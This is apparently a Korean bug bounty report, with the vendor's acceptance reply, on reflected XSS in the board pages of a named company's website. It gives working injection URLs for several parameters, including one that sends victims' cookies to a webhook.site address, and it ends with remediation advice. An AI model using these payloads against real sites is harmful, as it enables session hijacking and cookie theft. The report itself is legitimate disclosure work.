Weakness
Description
개요
[취약점 제보에 대한 개요를 작성해 주세요]
https://www.soosanint.com/board/board_list.php 의 파라미터 인자(page,cat_value,searcher)에서 reflected XSS => CSRF로 연계되는 취약점 발생
https://www.soosanint.com/board/board_list.php의 파라미터 인자(no) 에서 reflected XSS => CSRF로 연계되는 취약점 발생
재현 과정
[취약점 재현을 하기 위한 과정을 서술해 주세요]
재현은 링크를 통해 바로 가능하지만 발견한 과정에 맞춰서 설명드리고자 합니다!
-
[step1]
홍보센터의 보도 자료나 공지사항으로 들어간 후 검색창에 아무값이나 입력하게 되면
searcher와 cate_value 인자
page 인자를 발견할 수 있습니다.
와 같이 searcher,cate_value,page에 넣었던 값이 페이지에 그대로 나타나는 부분이 있음을 확인 할 수 있습니다.
reflected 된 내용이 존재하기 때문에 xss 가 가능할 것이라는 생각이 들었습니다. -
[step2]
https://www.soosanint.com/board/board_list.php?board_id=news&search_type=title&searcher=detectdetect&cate_value=testtest&page=-2
<input type="text" name="searcher" value="detectdetect"> 에서 search_type의 값인 detectdetect 가 value 값안에 들어가게 되는데
search_type의 값으로 “/><script></script> 를 넣어주게 되면
input 태그의 형태가 와 같은 형태로 깨지게 되면서 위의 2사진 모두에서 <script> </script> 코드가 삽입되게 됩니다. 이제 script 안에 원하는 javascript 코드를 넣으면 실행 가능하게 되고
https://www.soosanint.com/board/board_list.php?board_id=news&search_type=title&searcher=”/><script>alert(document.cookie)</script>&cate_value=testtest&page=-2
cate_value , page 값에 상관없이 위의 링크에 들어가면
document.cookie 가 실행되는 것을 확인할 수 가 있습니다.
비슷한 원리로 “/><script>alert(document.cookie)</script> 의 형태로 아래의 파라미터에 값을 넣어주게 되면
다음과 같은 https://www.soosanint.com/board/board_list.php로 전달되는 인자인, searcher , cate_value , page
https://www.soosanint.com/board/board_list.php 로 전달되는 인자인 no 에서 같은 이유로 reflected XSS 취약점이 발생하게 됩니다.
각각 다음의 링크에서 취약점이 발현됩니다.
1)searcher
https://www.soosanint.com/board/board_list.php?board_id=notice&search_type=title&searcher=”/><script>alert(document.cookie)</script>&cate_value=1&page=-1
- searcher의 경우 sql injection " 에 대한 대비책으로 " 로 치환이 들어가서 " 들어가면 다른 파라미터와 달리 적용이 안되지만 “가 빠진형태인 <script>의 형태로 공격이 가능합니다.
xss 의 취약점으로부터 막기 위해 sql injection을 막기 위한 방법인 " 치환은 안전하지 않습니다.
2)cate_value
https://www.soosanint.com/board/board_list.php?board_id=news&search_type=title&searcher=1&cate_value=”/><script>location.href=“http://www.naver.com”</script>&page=1
위의 경우도 마찬가지로 https://www.soosanint.com/board/board_list.php?board_id=notice&search_type=title&searcher="/><script>alert(document.cookie)</script>&cate_value=1&page=-1 의경우에는 여전히 유효하며
3)page
https://www.soosanint.com/board/board_list.php?board_id=news&search_type=title&searcher=1&cate_value=1&page="/><script>location.href=“http://www.naver.com”</script>
의 경우 "에 대한 필터링이 없어서 xss 가 실행됩니다.
- no
https://www.soosanint.com/board/board_view.php?board_id=notice&no=-10"><script>alert(1)</script>&page=1
와 같이 게시글에 들어간 후 생기는 no의 인자에섣 마찬가지로 "><script>alert(1)</script> 형태로 태그의 형태를 망가뜨려 script 코드 삽입이 가능하게 됩니다.
- [step3]
이어서 악의적인 이용자가 사용자 쿠키 탈취 (상황에 따라 관리자도 가능) 에게 해당 악성 url을 접속하게 만들면
https://www.soosanint.com/board/board_list.php?board_id=notice&page="/><script>location.href=“https://webhook.site/4dd7f5d5-e49c-413a-8623-092c369db660?”%2Bdocument.cookie;</script>
위와 같은 코드로 쉽게 쿠키 탈취가 가능하게 됩니다.
webhook으로 확인해본 결과 실제 탈취된 쿠키를 확인 할 수 있었습니다.
예상되는 취약점 발생 원인
[해당 취약점이 발생하는 예상 원인을 서술해 주세요]
패치 방법
[해당 취약점을 패치하기 위한 대응 방법을 서술해 주세요]
1.입력값에 대한 정밀한 검증이 필요합니다.
page 의 경우 숫자의 형태만 허용하고 이외의 문자열이 들어간 형태는 허용하지 않는 형태로
허용하는 형태의 타입만 검증 후 전달 , 필요없는 인자는 reflect 되지 않도록 하는 작업이 필요합니다.
-
또 , < > 가 들어가는 경우 < , > 로 변환 후에 전달을 해서 < > 코드로 변환을 통해 상당 수의 xss를 막을 수 있습니다.
https://dev.w3.org/html5/html-author/charref
처럼 " 도 ’ 도 출력 자체는 " &apos 로 변환해도 html 해석시 각각 " ’ 로 출력되면서 html 형태를 해치지 않습니다.
character entity로 변환하는 것도 이런 취약점을 막기 위해 좋은 시도 인것 같습니다. -
상황에 따라 , 응답 헤더에 document.cookie 탈취 방지를 위한 옵션인
https://developer.mozilla.org/ko/docs/Web/HTTP/Cookies
Secure과 HttpOnly 쿠키를 설정
https://developer.mozilla.org/ko/docs/Web/HTTP/Headers/X-Frame-Options
x-frame-options 도 상황에 따라 고려해보는 것도 좋을 것 같습니다.
예상 결과 및 파급력
[해당 취약점으로 인해 예상되는 결과 및 파급력을 서술해 주세요. 시나리오가 포함되어도 좋습니다.]
사용자가 해당 링크를 클릭 시 페이지를 악성페이지로 이동 시킨다거나(location.href) , 쿠키 탈취 등 script 실행이 가능해서 다양한 연계 공격으로 이어 질 수 있습니다.
기타사항 및 레퍼런스
[그 외에 추가할 내용이 있다면 이곳에 작성해주세요.(스크린샷, 로그 등)]
감사합니다 : )
안녕하세요. 제보자님
수산아이앤티 버그바운티 프로그램에 제보해주셔서 감사합니다.
제출해주신 티켓은 유효한 티켓으로 Reflected XSS 취약점이 발현되는 것을 확인하였습니다.
보내주신 내용 중 일부는 이미 제보된 취약점이지만 새로 발견된 취약점의 경우 담당자에게 전달될 예정이며, 담당자 업무 일정으로 인해 패치가 지연될 수 있는점 참고부탁드립니다.